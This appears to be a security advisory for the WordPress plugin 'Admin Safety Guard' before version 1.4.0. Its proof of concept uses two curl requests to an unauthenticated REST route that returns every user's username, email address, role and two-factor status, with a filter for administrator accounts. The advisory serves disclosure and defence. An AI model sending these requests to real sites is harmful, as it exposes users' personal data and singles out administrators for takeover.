Admin Safety Guard < 1.4.0 – Unauthenticated User Data Disclosure via 2fa/app/users REST Route | CVE 2026-16578

Description

The plugin does not perform any capability check on one of its REST API endpoints, allowing unauthenticated attackers to retrieve the full list of registered users including their usernames, email addresses, roles, and two-factor authentication enrollment status.

Proof of Concept

Any unauthenticated user can retrieve the full list of registered users.

1) Request the user list without authentication:

curl -s "https://victim.example/wp-json/secure-admin/v1/2fa/app/users?per_page=100&page=1"

2) Filter to administrator accounts:

curl -s "https://victim.example/wp-json/secure-admin/v1/2fa/app/users?role=administrator"

Expected result: a JSON array of every registered user, each entry including the user ID, username, display name, email address, roles (including administrator), and two-factor enrollment state (has_secret, is_verified), returned with no authentication.